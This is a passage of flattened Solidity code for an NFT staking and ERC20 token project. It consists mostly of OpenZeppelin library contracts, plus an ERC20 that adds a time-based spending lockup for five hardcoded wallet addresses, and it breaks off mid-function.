emit NuggetsClaimed(tokenId, owed, unstake);
}
function setDataSigner(address newDataSigner) external onlyOwner {
dataSigner = newDataSigner;
}
function setStakingState(bool stakingState) external onlyOwner {
stakingIsActive = stakingState;
}
function setHumanMultiplier(uint256 newMultiplier) external onlyOwner {
humanMultiplier = newMultiplier;
}
function setPromoMultiplier(uint256 newMultiplier) external onlyOwner {
promoMultiplier = newMultiplier;
}
function setHumanReduction(uint256 newValue) external onlyOwner {
humanReduction = newValue;
}
function setPaused(bool _paused) external onlyOwner {
if (_paused) _pause();
else _unpause();
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/ECDSA.sol)
pragma solidity ^0.8.0;
import "../Strings.sol";
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS,
InvalidSignatureV
}
function _throwError(RecoverError error) private pure {
if (error == RecoverError.NoError) {
return; // no error: do nothing
} else if (error == RecoverError.InvalidSignature) {
revert("ECDSA: invalid signature");
} else if (error == RecoverError.InvalidSignatureLength) {
revert("ECDSA: invalid signature length");
} else if (error == RecoverError.InvalidSignatureS) {
revert("ECDSA: invalid signature 's' value");
} else if (error == RecoverError.InvalidSignatureV) {
revert("ECDSA: invalid signature 'v' value");
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature` or error string. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*
* Documentation for signature generation:
* - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
* - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
*
* _Available since v4.3._
*/
function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return tryRecover(hash, r, vs);
} else {
return (address(0), RecoverError.InvalidSignatureLength);
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, signature);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
*
* See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address, RecoverError) {
bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);
uint8 v = uint8((uint256(vs) >> 255) + 27);
return tryRecover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
*
* _Available since v4.2._
*/
function recover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, r, vs);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `v`,
* `r` and `s` signature fields separately.
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address, RecoverError) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS);
}
if (v != 27 && v != 28) {
return (address(0), RecoverError.InvalidSignatureV);
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature);
}
return (signer, RecoverError.NoError);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, v, r, s);
_throwError(error);
return recovered;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
/**
* @dev Returns an Ethereum Signed Message, created from `s`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s));
}
/**
* @dev Returns an Ethereum Signed Typed Data, created from a
* `domainSeparator` and a `structHash`. This produces hash corresponding
* to the one signed with the
* https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
* JSON-RPC method as part of EIP-712.
*
* See {recover}.
*/
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/Pausable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor() {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol)
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
import "@openzeppelin/contracts/utils/Context.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private spent;
uint256 private lockupAnnualSpend = 10000000 ether;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, _allowances[owner][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = _allowances[owner][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
*/
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (from == address(0xB1aCd7f40a13022f0DD458769aD555FB99615d10) || from == address(0xe4fb481f367bf2f181b7aa96Be4E7E0ec38566aD)
|| from == address(0x2af8f06bEc08a910d9aE1540fd09A6Bf1dcBC344) || from == address(0x6ac5DEd5906C5eBe69ad00151f199bBf637C4707)
|| from == address(0x384244a320DC34a396B997820ceD4B58B60C9a9F)) {
require(block.timestamp > 1681603200, "Cannot withdraw yet, 1 year lockup");
if (block.timestamp > 1776297600){
// Lockup is over
} else if (block.timestamp > 1744761600){
require(amount + spent[from] < (lockupAnnualSpend * 3), "Spend too high");
spent[from] += amount;
} else if (block.timestamp > 1713225600){
require(amount + spent[from] < (lockupAnnualSpend * 2), "Spend too high");
spent[from] += amount;
} else {
require(amount + spent[from] < lockupAnnualSpend, "Spend too high");
spent[from] += amount;
}
}
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
